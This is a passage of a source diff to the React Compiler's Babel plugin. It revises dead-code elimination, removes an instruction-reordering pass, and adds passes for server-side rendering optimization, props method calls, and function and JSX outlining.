-        const originalItems = instr.value.lvalue.pattern.items;
-        for (let i = originalItems.length - 1; i >= 0; i--) {
-          const item = originalItems[i];
-          if (item.kind === "Identifier") {
-            if (state.isIdOrNameUsed(item.identifier)) {
-              nextItems = originalItems.slice(0, i + 1);
-              break;
+        let lastEntryIndex = 0;
+        const items = instr.value.lvalue.pattern.items;
+        for (let i = 0; i < items.length; i++) {
+          const item = items[i];
+          if (item.kind === 'Identifier') {
+            if (!state.isIdOrNameUsed(item.identifier)) {
+              items[i] = {kind: 'Hole'};
+            } else {
+              lastEntryIndex = i;
             }
-          } else if (item.kind === "Spread") {
-            if (state.isIdOrNameUsed(item.place.identifier)) {
-              nextItems = originalItems.slice(0, i + 1);
-              break;
+          } else if (item.kind === 'Spread') {
+            if (!state.isIdOrNameUsed(item.place.identifier)) {
+              items[i] = {kind: 'Hole'};
+            } else {
+              lastEntryIndex = i;
             }
           }
         }
-        if (nextItems !== null) {
-          instr.value.lvalue.pattern.items = nextItems;
-        }
+        items.length = lastEntryIndex + 1;
         break;
       }
-      case "ObjectPattern": {
+      case 'ObjectPattern': {
         /*
          * For objects we can prune any unused properties so long as there is no used rest element
          * (`const {x, ...y} = z`). If a rest element exists and is used, then nothing can be pruned
@@ -209,9 +222,9 @@ function rewriteInstruction(instr: Instruction, state: State): void {
          * In the `const {x, ...y} = z` example, removing the `x` property would mean that `y` now
          * has an `x` property, changing the semantics.
          */
-        let nextProperties: ObjectPattern["properties"] | null = null;
+        let nextProperties: ObjectPattern['properties'] | null = null;
         for (const property of instr.value.lvalue.pattern.properties) {
-          if (property.kind === "ObjectProperty") {
+          if (property.kind === 'ObjectProperty') {
             if (state.isIdOrNameUsed(property.place.identifier)) {
               nextProperties ??= [];
               nextProperties.push(property);
@@ -233,11 +246,11 @@ function rewriteInstruction(instr: Instruction, state: State): void {
           instr.value.lvalue.pattern,
           `Unexpected pattern kind '${
             (instr.value.lvalue.pattern as any).kind
-          }'`
+          }'`,
         );
       }
     }
-  } else if (instr.value.kind === "StoreLocal") {
+  } else if (instr.value.kind === 'StoreLocal') {
     if (
       instr.value.lvalue.kind !== InstructionKind.Reassign &&
       !state.isIdUsed(instr.value.lvalue.place.identifier)
@@ -249,7 +262,7 @@ function rewriteInstruction(instr: Instruction, state: State): void {
        * that the initializer value can be DCE'd
        */
       instr.value = {
-        kind: "DeclareLocal",
+        kind: 'DeclareLocal',
         lvalue: instr.value.lvalue,
         type: instr.value.type,
         loc: instr.value.loc,
@@ -264,11 +277,11 @@ function rewriteInstruction(instr: Instruction, state: State): void {
  */
 function pruneableValue(value: InstructionValue, state: State): boolean {
   switch (value.kind) {
-    case "DeclareLocal": {
+    case 'DeclareLocal': {
       // Declarations are pruneable only if the named variable is never read later
       return !state.isIdOrNameUsed(value.lvalue.place.identifier);
     }
-    case "StoreLocal": {
+    case 'StoreLocal': {
       if (value.lvalue.kind === InstructionKind.Reassign) {
         // Reassignments can be pruned if the specific instance being assigned is never read
         return !state.isIdUsed(value.lvalue.place.identifier);
@@ -276,7 +289,7 @@ function pruneableValue(value: InstructionValue, state: State): boolean {
       // Declarations are pruneable only if the named variable is never read later
       return !state.isIdOrNameUsed(value.lvalue.place.identifier);
     }
-    case "Destructure": {
+    case 'Destructure': {
       let isIdOrNameUsed = false;
       let isIdUsed = false;
       for (const place of eachPatternOperand(value.lvalue.pattern)) {
@@ -295,23 +308,38 @@ function pruneableValue(value: InstructionValue, state: State): boolean {
         return !isIdOrNameUsed;
       }
     }
-    case "PostfixUpdate":
-    case "PrefixUpdate": {
+    case 'PostfixUpdate':
+    case 'PrefixUpdate': {
       // Updates are pruneable if the specific instance instance being assigned is never read
       return !state.isIdUsed(value.lvalue.identifier);
     }
-    case "Debugger": {
+    case 'Debugger': {
       // explicitly retain debugger statements to not break debugging workflows
       return false;
     }
-    case "Await":
-    case "CallExpression":
-    case "ComputedDelete":
-    case "ComputedStore":
-    case "PropertyDelete":
-    case "MethodCall":
-    case "PropertyStore":
-    case "StoreGlobal": {
+    case 'CallExpression':
+    case 'MethodCall': {
+      if (state.env.outputMode === 'ssr') {
+        const calleee =
+          value.kind === 'CallExpression' ? value.callee : value.property;
+        const hookKind = getHookKind(state.env, calleee.identifier);
+        switch (hookKind) {
+          case 'useState':
+          case 'useReducer':
+          case 'useRef': {
+            // unused refs can be removed
+            return true;
+          }
+        }
+      }
+      return false;
+    }
+    case 'Await':
+    case 'ComputedDelete':
+    case 'ComputedStore':
+    case 'PropertyDelete':
+    case 'PropertyStore':
+    case 'StoreGlobal': {
       /*
        * Mutating instructions are not safe to prune.
        * TODO: we could be more precise and make this conditional on whether
@@ -319,15 +347,15 @@ function pruneableValue(value: InstructionValue, state: State): boolean {
        */
       return false;
     }
-    case "NewExpression":
-    case "UnsupportedNode":
-    case "TaggedTemplateExpression": {
+    case 'NewExpression':
+    case 'UnsupportedNode':
+    case 'TaggedTemplateExpression': {
       // Potentially safe to prune, since they should just be creating new values
       return false;
     }
-    case "GetIterator":
-    case "NextPropertyOf":
-    case "IteratorNext": {
+    case 'GetIterator':
+    case 'NextPropertyOf':
+    case 'IteratorNext': {
       /*
        * Technically a IteratorNext/NextPropertyOf will never be unused because it's
        * always used later by another StoreLocal or Destructure instruction, but conceptually
@@ -335,13 +363,13 @@ function pruneableValue(value: InstructionValue, state: State): boolean {
        */
       return false;
     }
-    case "LoadContext":
-    case "DeclareContext":
-    case "StoreContext": {
+    case 'LoadContext':
+    case 'DeclareContext':
+    case 'StoreContext': {
       return false;
     }
-    case "StartMemoize":
-    case "FinishMemoize": {
+    case 'StartMemoize':
+    case 'FinishMemoize': {
       /**
        * This instruction is used by the @enablePreserveExistingMemoizationGuarantees feature
        * to preserve information about memoization semantics in the original code. We can't
@@ -349,31 +377,31 @@ function pruneableValue(value: InstructionValue, state: State): boolean {
        */
       return false;
     }
-    case "RegExpLiteral":
-    case "MetaProperty":
-    case "LoadGlobal":
-    case "ArrayExpression":
-    case "BinaryExpression":
-    case "ComputedLoad":
-    case "ObjectMethod":
-    case "FunctionExpression":
-    case "LoadLocal":
-    case "JsxExpression":
-    case "JsxFragment":
-    case "JSXText":
-    case "ObjectExpression":
-    case "Primitive":
-    case "PropertyLoad":
-    case "TemplateLiteral":
-    case "TypeCastExpression":
-    case "UnaryExpression": {
+    case 'RegExpLiteral':
+    case 'MetaProperty':
+    case 'LoadGlobal':
+    case 'ArrayExpression':
+    case 'BinaryExpression':
+    case 'ComputedLoad':
+    case 'ObjectMethod':
+    case 'FunctionExpression':
+    case 'LoadLocal':
+    case 'JsxExpression':
+    case 'JsxFragment':
+    case 'JSXText':
+    case 'ObjectExpression':
+    case 'Primitive':
+    case 'PropertyLoad':
+    case 'TemplateLiteral':
+    case 'TypeCastExpression':
+    case 'UnaryExpression': {
       // Definitely safe to prune since they are read-only
       return true;
     }
     default: {
       assertExhaustive(
         value,
-        `Unexepcted value kind \`${(value as any).kind}\``
+        `Unexepcted value kind \`${(value as any).kind}\``,
       );
     }
   }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Optimization/InstructionReordering.ts b/compiler/packages/babel-plugin-react-compiler/src/Optimization/InstructionReordering.ts
deleted file mode 100644
index 37619b422478..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/Optimization/InstructionReordering.ts
+++ /dev/null
@@ -1,353 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import { CompilerError } from "..";
-import {
-  BasicBlock,
-  Environment,
-  GeneratedSource,
-  HIRFunction,
-  IdentifierId,
-  Instruction,
-  isExpressionBlockKind,
-  markInstructionIds,
-} from "../HIR";
-import { printInstruction } from "../HIR/PrintHIR";
-import {
-  eachInstructionValueLValue,
-  eachInstructionValueOperand,
-  eachTerminalOperand,
-} from "../HIR/visitors";
-import { mayAllocate } from "../ReactiveScopes/InferReactiveScopeVariables";
-import { getOrInsertWith } from "../Utils/utils";
-
-/**
- * This pass implements conservative instruction reordering to move instructions closer to
- * to where their produced values are consumed. The goal is to group instructions in a way that
- * is more optimal for future optimizations. Notably, MergeReactiveScopesThatAlwaysInvalidateTogether
- * can only merge two candidate scopes if there are no intervenining instructions that are used by
- * some later code: instruction reordering can move those intervening instructions later in many cases,
- * thereby allowing more scopes to merge together.
- *
- * The high-level approach is to build a dependency graph where nodes correspond either to
- * instructions OR to a particular lvalue assignment of another instruction. So
- * `Destructure [x, y] = z` creates 3 nodes: one for the instruction, and one each for x and y.
- * The lvalue nodes depend on the instruction node that assigns them.
- *
- * Dependency edges are added for all the lvalues and rvalues of each instruction, so for example
- * the node for `t$2 = CallExpression t$0 ( t$1 )` will take dependencies on the nodes for t$0 and t$1.
- *
- * Individual instructions are grouped into two categories:
- * - "Reorderable" instructions include a safe set of instructions that we know are fine to reorder.
- *   This includes JSX elements/fragments/text, primitives, template literals, and globals.
- *   These instructions are never emitted until they are referenced, and can even be moved across
- *   basic blocks until they are used.
- * - All other instructions are non-reorderable, and take an explicit dependency on the last such
- *   non-reorderable instruction in their block. This largely ensures that mutations are serialized,
- *   since all potentially mutating instructions are in this category.
- *
- * The only remaining mutation not handled by the above is variable reassignment. To ensure that all
- * reads/writes of a variable access the correct version, all references (lvalues and rvalues) to
- * each named variable are serialized. Thus `x = 1; y = x; x = 2; z = x` will establish a chain
- * of dependencies and retain the correct ordering.
- *
- * The algorithm proceeds one basic block at a time, first building up the dependnecy graph and then
- * reordering.
- *
- * The reordering weights nodes according to their transitive dependencies, and whether a particular node
- * needs memoization or not. Larger dependencies go first, followed by smaller dependencies, which in
- * testing seems to allow scopes to merge more effectively. Over time we can likely continue to improve
- * the reordering heuristic.
- *
- * An obvious area for improvement is to allow reordering of LoadLocals that occur after the last write
- * of the named variable. We can add this in a follow-up.
- */
-export function instructionReordering(fn: HIRFunction): void {
-  // Shared nodes are emitted when they are first used
-  const shared: Nodes = new Map();
-  for (const [, block] of fn.body.blocks) {
-    reorderBlock(fn.env, block, shared);
-  }
-  CompilerError.invariant(shared.size === 0, {
-    reason: `InstructionReordering: expected all reorderable nodes to have been emitted`,
-    loc:
-      [...shared.values()]
-        .map((node) => node.instruction?.loc)
-        .filter((loc) => loc != null)[0] ?? GeneratedSource,
-  });
-  markInstructionIds(fn.body);
-}
-
-const DEBUG = false;
-
-type Nodes = Map<IdentifierId, Node>;
-type Node = {
-  instruction: Instruction | null;
-  dependencies: Set<IdentifierId>;
-  depth: number | null;
-};
-
-function reorderBlock(
-  env: Environment,
-  block: BasicBlock,
-  shared: Nodes
-): void {
-  const locals: Nodes = new Map();
-  const named: Map<string, IdentifierId> = new Map();
-  let previous: IdentifierId | null = null;
-  for (const instr of block.instructions) {
-    const { lvalue, value } = instr;
-    // Get or create a node for this lvalue
-    const node = getOrInsertWith(
-      locals,
-      lvalue.identifier.id,
-      () =>
-        ({
-          instruction: instr,
-          dependencies: new Set(),
-          depth: null,
-        }) as Node
-    );
-    /**
-     * Ensure non-reoderable instructions have their order retained by
-     * adding explicit dependencies to the previous such instruction.
-     */
-    if (getReoderability(instr) === Reorderability.Nonreorderable) {
-      if (previous !== null) {
-        node.dependencies.add(previous);
-      }
-      previous = lvalue.identifier.id;
-    }
-    /**
-     * Establish dependencies on operands
-     */
-    for (const operand of eachInstructionValueOperand(value)) {
-      const { name, id } = operand.identifier;
-      if (name !== null && name.kind === "named") {
-        // Serialize all accesses to named variables
-        const previous = named.get(name.value);
-        if (previous !== undefined) {
-          node.dependencies.add(previous);
-        }
-        named.set(name.value, lvalue.identifier.id);
-      } else if (locals.has(id) || shared.has(id)) {
-        node.dependencies.add(id);
-      }
-    }
-    /**
-     * Establish nodes for lvalues, with dependencies on the node
-     * for the instruction itself. This ensures that any consumers
-     * of the lvalue will take a dependency through to the original
-     * instruction.
-     */
-    for (const lvalueOperand of eachInstructionValueLValue(value)) {
-      const lvalueNode = getOrInsertWith(
-        locals,
-        lvalueOperand.identifier.id,
-        () =>
-          ({
-            instruction: null,
-            dependencies: new Set(),
-            depth: null,
-          }) as Node
-      );
-      lvalueNode.dependencies.add(lvalue.identifier.id);
-      const name = lvalueOperand.identifier.name;
-      if (name !== null && name.kind === "named") {
-        const previous = named.get(name.value);
-        if (previous !== undefined) {
-          node.dependencies.add(previous);
-        }
-        named.set(name.value, lvalue.identifier.id);
-      }
-    }
-  }
-
-  const nextInstructions: Array<Instruction> = [];
-  const seen = new Set<IdentifierId>();
-
-  DEBUG && console.log(`bb${block.id}`);
-
-  // First emit everything that can't be reordered
-  if (previous !== null) {
-    DEBUG && console.log(`(last non-reorderable instruction)`);
-    DEBUG && print(env, locals, shared, seen, previous);
-    emit(env, locals, shared, nextInstructions, previous);
-  }
-  /*
-   * For "value" blocks the final instruction represents its value, so we have to be
-   * careful to not change the ordering. Emit the last instruction explicitly.
-   * Any non-reorderable instructions will get emitted first, and any unused
-   * reorderable instructions can be deferred to the shared node list.
-   */
-  if (isExpressionBlockKind(block.kind) && block.instructions.length !== 0) {
-    DEBUG && console.log(`(block value)`);
-    DEBUG &&
-      print(
-        env,
-        locals,
-        shared,
-        seen,
-        block.instructions.at(-1)!.lvalue.identifier.id
-      );
-    emit(
-      env,
-      locals,
-      shared,
-      nextInstructions,
-      block.instructions.at(-1)!.lvalue.identifier.id
-    );
-  }
-  /*
-   * Then emit the dependencies of the terminal operand. In many cases they will have
-   * already been emitted in the previous step and this is a no-op.
-   * TODO: sort the dependencies based on weight, like we do for other nodes. Not a big
-   * deal though since most terminals have a single operand
-   */
-  for (const operand of eachTerminalOperand(block.terminal)) {
-    DEBUG && console.log(`(terminal operand)`);
-    DEBUG && print(env, locals, shared, seen, operand.identifier.id);
-    emit(env, locals, shared, nextInstructions, operand.identifier.id);
-  }
-  // Anything not emitted yet is globally reorderable
-  for (const [id, node] of locals) {
-    if (node.instruction == null) {
-      continue;
-    }
-    CompilerError.invariant(
-      node.instruction != null &&
-        getReoderability(node.instruction) === Reorderability.Reorderable,
-      {
-        reason: `Expected all remaining instructions to be reorderable`,
-        loc: node.instruction?.loc ?? block.terminal.loc,
-        description:
-          node.instruction != null
-            ? `Instruction [${node.instruction.id}] was not emitted yet but is not reorderable`
-            : `Lvalue $${id} was not emitted yet but is not reorderable`,
-      }
-    );
-    DEBUG && console.log(`save shared: $${id}`);
-    shared.set(id, node);
-  }
-
-  block.instructions = nextInstructions;
-  DEBUG && console.log();
-}
-
-function getDepth(env: Environment, nodes: Nodes, id: IdentifierId): number {
-  const node = nodes.get(id)!;
-  if (node == null) {
-    return 0;
-  }
-  if (node.depth != null) {
-    return node.depth;
-  }
-  node.depth = 0; // in case of cycles
-  let depth =
-    node.instruction != null && mayAllocate(env, node.instruction) ? 1 : 0;
-  for (const dep of node.dependencies) {
-    depth += getDepth(env, nodes, dep);
-  }
-  node.depth = depth;
-  return depth;
-}
-
-function print(
-  env: Environment,
-  locals: Nodes,
-  shared: Nodes,
-  seen: Set<IdentifierId>,
-  id: IdentifierId,
-  depth: number = 0
-): void {
-  if (seen.has(id)) {
-    console.log(`${"|   ".repeat(depth)}$${id} <skipped>`);
-    return;
-  }
-  seen.add(id);
-  const node = locals.get(id) ?? shared.get(id);
-  if (node == null) {
-    return;
-  }
-  const deps = [...node.dependencies];
-  deps.sort((a, b) => {
-    const aDepth = getDepth(env, locals, a);
-    const bDepth = getDepth(env, locals, b);
-    return bDepth - aDepth;
-  });
-  for (const dep of deps) {
-    print(env, locals, shared, seen, dep, depth + 1);
-  }
-  console.log(
-    `${"|   ".repeat(depth)}$${id} ${printNode(node)} deps=[${deps.map((x) => `$${x}`).join(", ")}]`
-  );
-}
-
-function printNode(node: Node): string {
-  const { instruction } = node;
-  if (instruction === null) {
-    return "<lvalue-only>";
-  }
-  switch (instruction.value.kind) {
-    case "FunctionExpression":
-    case "ObjectMethod": {
-      return `[${instruction.id}] ${instruction.value.kind}`;
-    }
-    default: {
-      return printInstruction(instruction);
-    }
-  }
-}
-
-function emit(
-  env: Environment,
-  locals: Nodes,
-  shared: Nodes,
-  instructions: Array<Instruction>,
-  id: IdentifierId
-): void {
-  const node = locals.get(id) ?? shared.get(id);
-  if (node == null) {
-    return;
-  }
-  locals.delete(id);
-  shared.delete(id);
-  const deps = [...node.dependencies];
-  deps.sort((a, b) => {
-    const aDepth = getDepth(env, locals, a);
-    const bDepth = getDepth(env, locals, b);
-    return bDepth - aDepth;
-  });
-  for (const dep of deps) {
-    emit(env, locals, shared, instructions, dep);
-  }
-  if (node.instruction !== null) {
-    instructions.push(node.instruction);
-  }
-}
-
-enum Reorderability {
-  Reorderable,
-  Nonreorderable,
-}
-function getReoderability(instr: Instruction): Reorderability {
-  switch (instr.value.kind) {
-    case "JsxExpression":
-    case "JsxFragment":
-    case "JSXText":
-    case "LoadGlobal":
-    case "Primitive":
-    case "TemplateLiteral":
-    case "BinaryExpression":
-    case "UnaryExpression": {
-      return Reorderability.Reorderable;
-    }
-    default: {
-      return Reorderability.Nonreorderable;
-    }
-  }
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Optimization/OptimizeForSSR.ts b/compiler/packages/babel-plugin-react-compiler/src/Optimization/OptimizeForSSR.ts
new file mode 100644
index 000000000000..16644ec7a872
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Optimization/OptimizeForSSR.ts
@@ -0,0 +1,263 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {CompilerError} from '..';
+import {
+  CallExpression,
+  getHookKind,
+  HIRFunction,
+  IdentifierId,
+  InstructionValue,
+  isArrayType,
+  isPlainObjectType,
+  isPrimitiveType,
+  isSetStateType,
+  isStartTransitionType,
+  LoadLocal,
+  StoreLocal,
+} from '../HIR';
+import {
+  eachInstructionValueOperand,
+  eachTerminalOperand,
+} from '../HIR/visitors';
+import {retainWhere} from '../Utils/utils';
+
+/**
+ * Optimizes the code for running specifically in an SSR environment. This optimization
+ * asssumes that setState will not be called during render during initial mount, which
+ * allows inlining useState/useReducer.
+ *
+ * Optimizations:
+ * - Inline useState/useReducer
+ * - Remove effects
+ * - Remove refs where known to be unused during render (eg directly passed to a dom node)
+ * - Remove event handlers
+ *
+ * Note that an earlier pass already inlines useMemo/useCallback
+ */
+export function optimizeForSSR(fn: HIRFunction): void {
+  const inlinedState = new Map<IdentifierId, InstructionValue>();
+  /**
+   * First pass identifies useState/useReducer which can be safely inlined. Any use
+   * of the hook return other than destructuring (with a specific pattern) prevents
+   * inlining.
+   *
+   * Supported cases:
+   * - `const [state, ] = useState( <primitive-array-or-object> )`
+   * - `const [state, ] = useReducer(..., <value>)`
+   * - `const [state, ] = useReducer[..., <value>, <init>]`
+   */
+  for (const block of fn.body.blocks.values()) {
+    for (const instr of block.instructions) {
+      const {value} = instr;
+      switch (value.kind) {
+        case 'Destructure': {
+          if (
+            inlinedState.has(value.value.identifier.id) &&
+            value.lvalue.pattern.kind === 'ArrayPattern' &&
+            value.lvalue.pattern.items.length >= 1 &&
+            value.lvalue.pattern.items[0].kind === 'Identifier'
+          ) {
+            // Allow destructuring of inlined states
+            continue;
+          }
+          break;
+        }
+        case 'MethodCall':
+        case 'CallExpression': {
+          const calleee =
+            value.kind === 'CallExpression' ? value.callee : value.property;
+          const hookKind = getHookKind(fn.env, calleee.identifier);
+          switch (hookKind) {
+            case 'useReducer': {
+              if (
+                value.args.length === 2 &&
+                value.args[1].kind === 'Identifier'
+              ) {
+                const arg = value.args[1];
+                const replace: LoadLocal = {
+                  kind: 'LoadLocal',
+                  place: arg,
+                  loc: arg.loc,
+                };
+                inlinedState.set(instr.lvalue.identifier.id, replace);
+              } else if (
+                value.args.length === 3 &&
+                value.args[1].kind === 'Identifier' &&
+                value.args[2].kind === 'Identifier'
+              ) {
+                const arg = value.args[1];
+                const initializer = value.args[2];
+                const replace: CallExpression = {
+                  kind: 'CallExpression',
+                  callee: initializer,
+                  args: [arg],
+                  loc: value.loc,
+                };
+                inlinedState.set(instr.lvalue.identifier.id, replace);
+              }
+              break;
+            }
+            case 'useState': {
+              if (
+                value.args.length === 1 &&
+                value.args[0].kind === 'Identifier'
+              ) {
+                const arg = value.args[0];
+                if (
+                  isPrimitiveType(arg.identifier) ||
+                  isPlainObjectType(arg.identifier) ||
+                  isArrayType(arg.identifier)
+                ) {
+                  const replace: LoadLocal = {
+                    kind: 'LoadLocal',
+                    place: arg,
+                    loc: arg.loc,
+                  };
+                  inlinedState.set(instr.lvalue.identifier.id, replace);
+                }
+              }
+              break;
+            }
+          }
+        }
+      }
+      // Any use of useState/useReducer return besides destructuring prevents inlining
+      if (inlinedState.size !== 0) {
+        for (const operand of eachInstructionValueOperand(value)) {
+          inlinedState.delete(operand.identifier.id);
+        }
+      }
+    }
+    if (inlinedState.size !== 0) {
+      for (const operand of eachTerminalOperand(block.terminal)) {
+        inlinedState.delete(operand.identifier.id);
+      }
+    }
+  }
+  for (const block of fn.body.blocks.values()) {
+    for (const instr of block.instructions) {
+      const {value} = instr;
+      switch (value.kind) {
+        case 'FunctionExpression': {
+          if (hasKnownNonRenderCall(value.loweredFunc.func)) {
+            instr.value = {
+              kind: 'Primitive',
+              value: undefined,
+              loc: value.loc,
+            };
+          }
+          break;
+        }
+        case 'JsxExpression': {
+          if (
+            value.tag.kind === 'BuiltinTag' &&
+            value.tag.name.indexOf('-') === -1
+          ) {
+            const tag = value.tag.name;
+            retainWhere(value.props, prop => {
+              return (
+                prop.kind === 'JsxSpreadAttribute' ||
+                (!isKnownEventHandler(tag, prop.name) && prop.name !== 'ref')
+              );
+            });
+          }
+          break;
+        }
+        case 'Destructure': {
+          if (inlinedState.has(value.value.identifier.id)) {
+            // Canonical check is part of determining if state can inline, this is for TS
+            CompilerError.invariant(
+              value.lvalue.pattern.kind === 'ArrayPattern' &&
+                value.lvalue.pattern.items.length >= 1 &&
+                value.lvalue.pattern.items[0].kind === 'Identifier',
+              {
+                reason:
+                  'Expected a valid destructuring pattern for inlined state',
+                message: 'Expected a valid destructuring pattern',
+                loc: value.loc,
+              },
+            );
+            const store: StoreLocal = {
+              kind: 'StoreLocal',
+              loc: value.loc,
+              type: null,
+              lvalue: {
+                kind: value.lvalue.kind,
+                place: value.lvalue.pattern.items[0],
+              },
+              value: value.value,
+            };
+            instr.value = store;
+          }
+          break;
+        }
+        case 'MethodCall':
+        case 'CallExpression': {
+          const calleee =
+            value.kind === 'CallExpression' ? value.callee : value.property;
+          const hookKind = getHookKind(fn.env, calleee.identifier);
+          switch (hookKind) {
+            case 'useEffectEvent': {
+              if (
+                value.args.length === 1 &&
+                value.args[0].kind === 'Identifier'
+              ) {
+                const load: LoadLocal = {
+                  kind: 'LoadLocal',
+                  place: value.args[0],
+                  loc: value.loc,
+                };
+                instr.value = load;
+              }
+              break;
+            }
+            case 'useEffect':
+            case 'useLayoutEffect':
+            case 'useInsertionEffect': {
+              // Drop effects
+              instr.value = {
+                kind: 'Primitive',
+                value: undefined,
+                loc: value.loc,
+              };
+              break;
+            }
+            case 'useReducer':
+            case 'useState': {
+              const replace = inlinedState.get(instr.lvalue.identifier.id);
+              if (replace != null) {
+                instr.value = replace;
+              }
+              break;
+            }
+          }
+        }
+      }
+    }
+  }
+}
+
+function hasKnownNonRenderCall(fn: HIRFunction): boolean {
+  for (const block of fn.body.blocks.values()) {
+    for (const instr of block.instructions) {
+      if (
+        instr.value.kind === 'CallExpression' &&
+        (isSetStateType(instr.value.callee.identifier) ||
+          isStartTransitionType(instr.value.callee.identifier))
+      ) {
+        return true;
+      }
+    }
+  }
+  return false;
+}
+
+const EVENT_HANDLER_PATTERN = /^on[A-Z]/;
+function isKnownEventHandler(_tag: string, prop: string): boolean {
+  return EVENT_HANDLER_PATTERN.test(prop);
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Optimization/OptimizePropsMethodCalls.ts b/compiler/packages/babel-plugin-react-compiler/src/Optimization/OptimizePropsMethodCalls.ts
new file mode 100644
index 000000000000..ab686ca21931
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Optimization/OptimizePropsMethodCalls.ts
@@ -0,0 +1,52 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {HIRFunction, isPropsType} from '../HIR';
+
+/**
+ * Converts method calls into regular calls where the receiver is the props object:
+ *
+ * Example:
+ *
+ * ```
+ * // INPUT
+ * props.foo();
+ *
+ * // OUTPUT
+ * const t0 = props.foo;
+ * t0();
+ * ```
+ *
+ * Counter example:
+ *
+ * Here the receiver is `props.foo`, not the props object, so we don't rewrite it:
+ *
+ * // INPUT
+ * props.foo.bar();
+ *
+ * // OUTPUT
+ * props.foo.bar();
+ * ```
+ */
+export function optimizePropsMethodCalls(fn: HIRFunction): void {
+  for (const [, block] of fn.body.blocks) {
+    for (let i = 0; i < block.instructions.length; i++) {
+      const instr = block.instructions[i]!;
+      if (
+        instr.value.kind === 'MethodCall' &&
+        isPropsType(instr.value.receiver.identifier)
+      ) {
+        instr.value = {
+          kind: 'CallExpression',
+          callee: instr.value.property,
+          args: instr.value.args,
+          loc: instr.value.loc,
+        };
+      }
+    }
+  }
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Optimization/OutlineFunctions.ts b/compiler/packages/babel-plugin-react-compiler/src/Optimization/OutlineFunctions.ts
new file mode 100644
index 000000000000..6ab0a811ff5d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Optimization/OutlineFunctions.ts
@@ -0,0 +1,51 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {HIRFunction, IdentifierId} from '../HIR';
+
+export function outlineFunctions(
+  fn: HIRFunction,
+  fbtOperands: Set<IdentifierId>,
+): void {
+  for (const [, block] of fn.body.blocks) {
+    for (const instr of block.instructions) {
+      const {value, lvalue} = instr;
+
+      if (
+        value.kind === 'FunctionExpression' ||
+        value.kind === 'ObjectMethod'
+      ) {
+        // Recurse in case there are inner functions which can be outlined
+        outlineFunctions(value.loweredFunc.func, fbtOperands);
+      }
+      if (
+        value.kind === 'FunctionExpression' &&
+        value.loweredFunc.func.context.length === 0 &&
+        // TODO: handle outlining named functions
+        value.loweredFunc.func.id === null &&
+        !fbtOperands.has(lvalue.identifier.id)
+      ) {
+        const loweredFunc = value.loweredFunc.func;
+
+        const id = fn.env.generateGloballyUniqueIdentifierName(
+          loweredFunc.id ?? loweredFunc.nameHint,
+        );
+        loweredFunc.id = id.value;
+
+        fn.env.outlineFunction(loweredFunc, null);
+        instr.value = {
+          kind: 'LoadGlobal',
+          binding: {
+            kind: 'Global',
+            name: id.value,
+          },
+          loc: value.loc,
+        };
+      }
+    }
+  }
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Optimization/OutlineJsx.ts b/compiler/packages/babel-plugin-react-compiler/src/Optimization/OutlineJsx.ts
new file mode 100644
index 000000000000..a38256896b1a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Optimization/OutlineJsx.ts
@@ -0,0 +1,528 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import invariant from 'invariant';
+import {Environment} from '../HIR';
+import {
+  BasicBlock,
+  GeneratedSource,
+  HIRFunction,
+  IdentifierId,
+  Instruction,
+  InstructionId,
+  InstructionKind,
+  JsxAttribute,
+  JsxExpression,
+  LoadGlobal,
+  makeBlockId,
+  makeIdentifierName,
+  makeInstructionId,
+  ObjectProperty,
+  Place,
+  promoteTemporary,
+  promoteTemporaryJsxTag,
+} from '../HIR/HIR';
+import {createTemporaryPlace} from '../HIR/HIRBuilder';
+import {printIdentifier} from '../HIR/PrintHIR';
+import {deadCodeElimination} from './DeadCodeElimination';
+import {assertExhaustive} from '../Utils/utils';
+
+export function outlineJSX(fn: HIRFunction): void {
+  const outlinedFns: Array<HIRFunction> = [];
+  outlineJsxImpl(fn, outlinedFns);
+
+  for (const outlinedFn of outlinedFns) {
+    fn.env.outlineFunction(outlinedFn, 'Component');
+  }
+}
+
+type JsxInstruction = Instruction & {value: JsxExpression};
+type LoadGlobalInstruction = Instruction & {value: LoadGlobal};
+type LoadGlobalMap = Map<IdentifierId, LoadGlobalInstruction>;
+
+type State = {
+  jsx: Array<JsxInstruction>;
+  children: Set<IdentifierId>;
+};
+
+function outlineJsxImpl(
+  fn: HIRFunction,
+  outlinedFns: Array<HIRFunction>,
+): void {
+  const globals: LoadGlobalMap = new Map();
+
+  function processAndOutlineJSX(
+    state: State,
+    rewriteInstr: Map<InstructionId, Array<Instruction>>,
+  ): void {
+    if (state.jsx.length <= 1) {
+      return;
+    }
+    const result = process(
+      fn,
+      [...state.jsx].sort((a, b) => a.id - b.id),
+      globals,
+    );
+    if (result) {
+      outlinedFns.push(result.fn);
+      rewriteInstr.set(state.jsx.at(0)!.id, result.instrs);
+    }
+  }
+
+  for (const [, block] of fn.body.blocks) {
+    const rewriteInstr = new Map();
+    let state: State = {
+      jsx: [],
+      children: new Set(),
+    };
+
+    for (let i = block.instructions.length - 1; i >= 0; i--) {
+      const instr = block.instructions[i];
+      const {value, lvalue} = instr;
+      switch (value.kind) {
+        case 'LoadGlobal': {
+          globals.set(lvalue.identifier.id, instr as LoadGlobalInstruction);
+          break;
+        }
+        case 'FunctionExpression': {
